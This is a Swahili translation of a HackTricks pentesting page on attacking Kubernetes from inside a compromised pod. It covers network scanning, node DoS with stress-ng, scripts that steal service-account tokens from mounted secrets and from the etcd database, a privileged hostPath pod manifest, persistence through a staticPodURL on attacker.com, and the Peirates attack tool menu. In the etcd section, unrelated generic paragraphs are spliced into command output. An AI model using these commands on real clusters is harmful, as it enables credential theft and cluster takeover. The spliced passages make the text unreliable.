Attacking Kubernetes from inside a Pod

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Kuvunja Podi

Ikiwa una bahati ya kutosha unaweza kufanikiwa kutoroka kutoka hapo kwenda kwenye node:

Kutoroka kutoka kwenye podi

Kujaribu kutoroka kutoka kwenye podi kunaweza kuhitaji kuinua mamlaka kwanza, baadhi ya mbinu za kufanya hivyo:

Unaweza kuangalia hii kuvunja docker kujaribu kutoroka kutoka kwenye podi uliyoshambulia:

Kutumia Mamlaka za Kubernetes

Kama ilivyoelezwa katika sehemu kuhusu uchambuzi wa kubernetes:

pageKubernetes Enumeration

Kawaida podi hufanyishwa kazi na kitambulisho cha akaunti ya huduma ndani yake. Kitambulisho hiki cha akaunti ya huduma kinaweza kuwa na mamlaka zilizowekwa ambazo unaweza kutumia vibaya kwa kusonga kwenye podi nyingine au hata kutoroka kwenda kwenye nodi zilizowekwa ndani ya kikundi. Angalia jinsi ya kufanya hivyo katika:

pageAbusing Roles/ClusterRoles in Kubernetes

Kutumia Mamlaka za Cloud

Ikiwa podi inafanyishwa kazi ndani ya mazingira ya wingu unaweza kuweza kuvuja kibali kutoka kwa mwisho wa metadata na kuinua mamlaka kwa kutumia hilo.

Tafuta huduma za mtandao zenye mapungufu

Kwa kuwa upo ndani ya mazingira ya Kubernetes, ikiwa huwezi kuinua mamlaka kwa kutumia vibali vya sasa vya podi na huwezi kutoroka kutoka kwenye chombo, unapaswa kutafuta huduma za mtandao zenye mapungufu.

Huduma

Kwa lengo hili, unaweza kujaribu kupata huduma zote za mazingira ya kubernetes:

kubectl get svc --all-namespaces

Kwa chaguo-msingi, Kubernetes hutumia mpangilio wa mtandao wa gorofa, ambao maana yake ni kila podi/huduma ndani ya kikundi cha kubeza inaweza kuzungumza na nyingine. Nafasi ndani ya kikundi cha kubeza hazina vizuizi vya usalama wa mtandao kwa chaguo-msingi. Mtu yeyote katika nafasi anaweza kuzungumza na nafasi nyingine.

Kuchunguza

Skripti ifuatayo ya Bash (iliyochukuliwa kutoka kwa Warsha ya Kubernetes) itainstall na kuchunguza safu za IP za kikundi cha kubeza:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Angalia ukurasa ufuatao kujifunza jinsi unavyoweza kushambulia huduma maalum za Kubernetes ili kudhoofisha pod zingine/maeneo yote:

pagePentesting Kubernetes Services

Kuvuta Data (Sniffing)

Kwa kesi ambapo pod iliyodhuriwa inaendesha huduma nyeti ambapo pod zingine zinahitaji kujithibitisha, unaweza kupata vibali vilivyotumwa kutoka kwa pod zingine kwa kuvuta mawasiliano ya ndani.

Udukuzi wa Mtandao (Network Spoofing)

Kwa chaguo-msingi, mbinu kama ARP spoofing (na shukrani kwa hilo DNS Spoofing) hufanya kazi katika mtandao wa kubernetes. Kisha, ndani ya pod, ikiwa una uwezo wa NET_RAW (ambao upo kwa chaguo-msingi), utaweza kutuma pakiti za mtandao zilizoundwa kwa desturi na kutekeleza mashambulizi ya MitM kupitia ARP Spoofing kwa pod zote zinazoendesha kwenye nodi ile ile. Zaidi ya hayo, ikiwa pod yenye nia mbaya inaendesha kwenye nodi ile ile kama Seva ya DNS, utaweza kutekeleza shambulizi la DNS Spoofing kwa pod zote kwenye kikundi.

pageKubernetes Network Attacks

Node DoS

Hakuna maelezo ya rasilimali katika hati za Kubernetes na mipaka ya kikomo haijaombwa kwa vyombo. Kama mshambuliaji, tunaweza kutumia rasilimali zote ambapo pod/kupelekwa inaendesha na kuzima rasilimali zingine na kusababisha DoS kwa mazingira.

Hii inaweza kufanywa kwa kutumia chombo kama stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Unaweza kuona tofauti wakati wa kukimbia stress-ng na baada ya hapo

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Uchimbaji wa Node Baada ya Uvamizi

Ikiwa umefanikiwa kutoroka kutoka kwenye kontena kuna vitu vingine vya kuvutia utakavyopata kwenye node:

  • Mchakato wa Container Runtime (Docker)

  • Zaidi ya pods/macontainer yanayoendesha kwenye node unaweza kuitumia kama hii (zaidi ya vitufe)

  • Mfumo wa faili nzima na OS kwa ujumla

  • Huduma ya Kube-Proxy inayosikiliza

  • Huduma ya Kubelet inayosikiliza. Angalia faili za usanidi:

    • Daktari: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Faili nyingine za kawaida za kubernetes:

    • $HOME/.kube/config - Usanidi wa Mtumiaji

    • /etc/kubernetes/kubelet.conf- Usanidi wa Kawaida

    • /etc/kubernetes/bootstrap-kubelet.conf - Usanidi wa Bootstrap

    • /etc/kubernetes/manifests/etcd.yaml - Usanidi wa etcd

    • /etc/kubernetes/pki - Muhimu za Kubernetes

Pata kubeconfig ya node

Ikiwa huwezi kupata faili ya kubeconfig kwenye mojawapo ya njia zilizotajwa hapo awali, angalia hoja --kubeconfig ya mchakato wa kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Kuiba Siri

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

The script can-they.sh itafuatilia vitufe vya makontena mengine na kuchunguza kama vina ruhusa unayoitafuta (badala ya wewe kuangalia moja kwa moja):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

DaemonSets Wenye Haki Maalum

DaemonSet ni pod ambayo itaendeshwa kwenye nodes zote za kikundi. Kwa hivyo, ikiwa DaemonSet imeboreshwa na akaunti ya huduma yenye haki maalum, kwenye nodes ZOTE utaweza kupata token wa akaunti ya huduma yenye haki maalum ambayo unaweza kutumia vibaya.

Udanganyifu ni ule ule kama katika sehemu iliyopita, lakini sasa hauhitaji kutegemea bahati.

Kugeukia Kwenye Wingu

Ikiwa kikundi kinasimamiwa na huduma ya wingu, kawaida Node itakuwa na ufikiaji tofauti kwa kiishio cha metadata kuliko Pod. Kwa hivyo, jaribu kufikia kiishio cha metadata kutoka kwenye node (au kutoka kwa pod na hostNetwork kuwa True):

pageKubernetes Pivoting to Clouds

Kuiba etcd

Ikiwa unaweza kubainisha nodeName ya Node ambayo itaendesha kontena, pata kabati ndani ya node ya udhibiti na pata database ya etcd:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Nodes za control-plane zina jukumu la master na katika makundi yaliyosimamiwa kwenye wingu huwezi kuendesha chochote ndani yao.

Soma siri kutoka kwa etcd

Ikiwa unaweza kuendesha podi yako kwenye node ya control-plane ukitumia chaguo la nodeName katika maelezo ya podi, unaweza kupata upatikanaji rahisi wa database ya etcd, ambayo ina mizizi yote ya usanidi wa kikundi, ikiwa ni pamoja na siri zote.

Hapa chini ni njia ya haraka na isiyo safi ya kunasa siri kutoka kwa etcd ikiwa inaendeshwa kwenye node ya control-plane uliyo nayo. Ikiwa unataka suluhisho lenye mvuto zaidi ambalo linazindua podi na zana ya mteja wa etcd etcdctl na kutumia sifa za node ya control-plane kuunganisha na etcd popote inapoendeshwa, angalia mfano huu wa hati kutoka @mauilion.

Angalia ili uone ikiwa etcd inaendeshwa kwenye node ya control-plane na uone wapi database iko (Hii ni kwenye kikundi kilichoundwa na kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Kudukua Kubernetes Kutoka Ndani ya Podi

Unapokuwa ndani ya podi katika kikundi cha Kubernetes, kuna njia kadhaa za kudukua mazingira ya kikundi hicho. Baadhi ya mbinu zinazoweza kutumika ni pamoja na:

1. **Kudukua Kwenye Kiwango cha Mwenyeji (Host):** Unapotumia podi, unaweza kujaribu kudukua mwenyeji wa podi hiyo kwa kutumia mbinu kama kuvunja mipaka (boundary breaking) kati ya podi na mwenyeji.

2. **Kudukua Kwenye Kiwango cha Kikundi (Cluster):** Unaweza pia kujaribu kudukua kikundi cha Kubernetes kutoka ndani ya podi kwa kuchunguza mazingira ya kikundi, kama vile kufikia huduma zingine za kikundi au kudukua mawasiliano kati ya podi.

3. **Kudukua Mawasiliano ya Mtandao:** Kama podi inaweza kuwasiliana na vifaa vingine ndani ya kikundi au nje ya kikundi, unaweza kujaribu kudukua mawasiliano hayo kwa kusikiliza au kubadilisha data inayopita.

Kwa kuzingatia mbinu hizi, unaweza kugundua mapungufu ya usalama katika mazingira ya Kubernetes na kuchukua hatua za kurekebisha au kuboresha usalama.
data-dir=/var/lib/etcd

Angalia data katika database ya etcd:

strings /var/lib/etcd/member/snap/db | less

Chukua vibali kutoka kwenye database na onesha jina la akaunti ya huduma

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Amri ileile, lakini greps fulani ili irudishe tu token ya chaguo-msingi katika nafasi ya kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Kudukua Kubernetes Kutoka Ndani ya Podi

Unapokuwa ndani ya podi, kuna njia kadhaa za kudukua mfumo wa Kubernetes:

1. **Kudukua Kwenye API ya Kubernetes**: Unaweza kutumia maelezo ya uthibitishaji wa podi kufanya ombi la API ya Kubernetes kutoka ndani ya podi.

2. **Kudukua Kwenye Kubelet**: Kubelet inaruhusu podi kufanya mawasiliano na kudhibiti mfumo wa Kubernetes. Unaweza kujaribu kudukua kubelet kutoka ndani ya podi.

3. **Kudukua Kwenye Hifadhi ya Kubernetes**: Ikiwa podi ina ruhusa ya kusoma kutoka kwa hifadhi ya Kubernetes, unaweza kujaribu kupata data nyeti au kubadilisha data kwenye hifadhi.

4. **Kudukua Mawasiliano ya Mtandao**: Unaweza kujaribu kudukua mawasiliano ya mtandao kati ya podi na seva zingine au huduma ndani ya mfumo wa Kubernetes.

Kumbuka kwamba kudukua mfumo wa Kubernetes kutoka ndani ya podi ni hatari na inaweza kusababisha uharibifu mkubwa kwa mfumo wa Kubernetes na mazingira yako ya wingu.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Uthabiti wa Pods wa Stati/Mirrored

Pods za Stati zinasimamiwa moja kwa moja na kivinjari cha kubelet kwenye node maalum, bila seva ya API kuwaona. Tofauti na Pods zinazosimamiwa na mtego wa kudhibiti (kwa mfano, Upelekaji); badala yake, kubelet hufuatilia kila Pod ya Stati (na kuizindua upya ikiwa itashindwa).

Kwa hivyo, Pods za Stati daima zimefungwa kwa Kubelet moja kwa moja kwenye node maalum.

Kubelet kiotomatiki hujaribu kuunda Pod ya kioo kwenye seva ya API ya Kubernetes kwa kila Pod ya Stati. Hii inamaanisha kuwa Pods zinazoendesha kwenye node zinaonekana kwenye seva ya API, lakini haziwezi kudhibitiwa kutoka hapo. Majina ya Pod yataongezewa kifupi cha jina la node na hyphen inayoongoza.

spec ya Pod ya Stati haiwezi kurejelea vitu vingine vya API (k.m., Akaunti ya Huduma, Ramani ya Usanidi, Siri, nk. Kwa hivyo hauwezi kutumia tabia hii kuzindua pod na Akaunti ya Huduma ya aina yoyote kwenye node ya sasa kuhatarisha kikundi. Lakini unaweza kutumia hii kuendesha pods katika nafasi tofauti (ikiwa hiyo ni muhimu kwa sababu fulani).

Ikiwa uko ndani ya mwenyeji wa node unaweza kufanya iundwe pod ya stati ndani yake mwenyewe. Hii ni muhimu sana kwa sababu inaweza kukuruhusu kuunda pod katika nafasi tofauti kama vile kube-system.

Ili kuunda pod ya stati, nyaraka zitasaidia sana. Kimsingi unahitaji mambo 2:

  • Sanidi parameta --pod-manifest-path=/etc/kubernetes/manifests katika huduma ya kubelet, au katika usawazishaji wa kubelet (staticPodPath) na uzindue upya huduma

  • Unda ufafanuzi kwenye ufafanuzi wa pod katika /etc/kubernetes/manifests

Njia nyingine ya kujificha zaidi itakuwa:

  • Badilisha parameta staticPodURL kutoka kwenye faili ya usanidi wa kubelet na weka kitu kama staticPodURL: http://attacker.com:8765/pod.yaml. Hii itafanya mchakato wa kubelet uunde pod ya stati ikipata usanidi kutoka kwenye URL iliyotajwa.

Mfano wa ufafanuzi wa pod wa kuunda pod yenye haki za ziada katika kube-system uliopatikana kutoka hapa:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Futa pods + nodes zisizoweza kupangwa

Ikiwa mshambuliaji amevamia kifaa na anaweza kufuta pods kutoka kwenye vifaa vingine na kufanya vifaa vingine visiweze kutekeleza pods, pods zitarudi kwenye kifaa kilichovamiwa na ataweza kuiba vibali vilivyotekelezwa ndani yao. Kwa mabofya hapa kupata maelezo zaidi.

Zana za Kiotomatiki

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated